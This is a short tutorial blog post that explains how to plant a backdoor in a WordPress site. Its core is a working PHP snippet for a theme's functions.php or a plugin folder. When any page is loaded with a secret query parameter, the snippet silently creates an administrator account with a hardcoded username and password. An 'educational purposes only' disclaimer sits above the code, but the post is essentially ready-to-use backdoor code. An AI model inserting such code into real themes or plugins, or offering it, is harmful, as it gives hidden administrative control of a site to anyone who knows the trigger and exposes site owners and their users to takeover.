If you want to create a WordPress administrator account in your WordPress site using the WordPress backdoor code, then keep your attention in this tutorial as I am going to share how to create administrator account using WordPress backdoor.
Note: I have explained this tutorial for educational and learning purposes ONLY. In fact we DO NOT recommend anyone to use such a backdoor in his or her WordPress installation for own or your client site.
Below is an example of WordPress backdoor. This is a simple PHP function that can be added to the WordPress theme’s functions.php file or you can create a separate PHP file and put it inside your WordPress theme or WordPress plugin folder.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | <?php add_action('wp_head', 'WordPress_backdoor'); function WordPress_backdoor() { If ($_GET['backdoor'] == 'go') { require('wp-includes/registration.php'); If (!username_exists('backdooradmin')) { $user_id = wp_create_user('backdooradmin', 'Pa55W0rd'); $user = new WP_User($user_id); $user->set_role('administrator'); } } } ?> |
If you like FreeWebMentor and you would like to contribute, you can write an article and mail your article to [email protected] Your article will appear on the FreeWebMentor main page and help other developers.